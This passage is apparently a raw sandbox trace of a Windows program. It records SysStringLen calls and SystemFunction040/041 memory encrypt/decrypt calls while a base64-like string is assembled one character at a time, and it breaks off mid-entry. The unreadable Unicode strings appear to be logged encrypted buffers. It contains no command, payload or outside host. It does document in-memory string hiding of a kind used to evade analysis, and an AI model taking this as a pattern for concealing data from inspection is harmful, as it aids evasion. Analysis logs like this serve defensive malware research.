SysStringLen (param_1="N") returned 0x8 [0255.555] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.555] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.555] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.555] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.555] SysStringLen (param_1="ND") returned 0x8 [0255.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.556] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.556] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.556] SysStringLen (param_1="NDZ") returned 0x8 [0255.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.556] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.556] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.556] SysStringLen (param_1="NDZl") returned 0x8 [0255.556] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.556] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.556] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.556] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="NDZlO") returned 0x8 [0255.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.557] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="NDZlOD") returned 0x8 [0255.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.557] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="NDZlODR") returned 0x8 [0255.557] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.557] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.558] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.558] SysStringLen (param_1="NDZlODRm") returned 0x8 [0255.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.558] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0255.559] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.559] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.559] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.559] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.559] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.559] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.559] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.559] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.559] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0255.559] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.560] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0255.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.560] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0255.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.560] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0255.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0255.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0255.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0255.562] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.562] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0255.562] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.562] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0255.563] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0255.563] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0255.563] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.564] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0255.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.564] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0255.565] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0255.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.566] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0255.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.566] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0255.567] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.567] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0255.567] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.567] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.567] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.567] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0255.567] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0255.568] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0255.568] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.568] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.568] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0255.569] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.569] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.569] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0255.569] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.569] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.571] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0255.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.571] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.571] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0255.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0255.572] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.572] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0255.572] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.572] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.572] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0255.572] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.573] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0255.573] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.573] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0255.573] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.573] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0255.574] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.574] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0255.574] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.574] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0255.574] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.574] SystemFunction041 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.575] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0255.575] SystemFunction040 (in: Memory=0x3af914, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af914) returned 0x0 [0255.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.575] SysStringLen 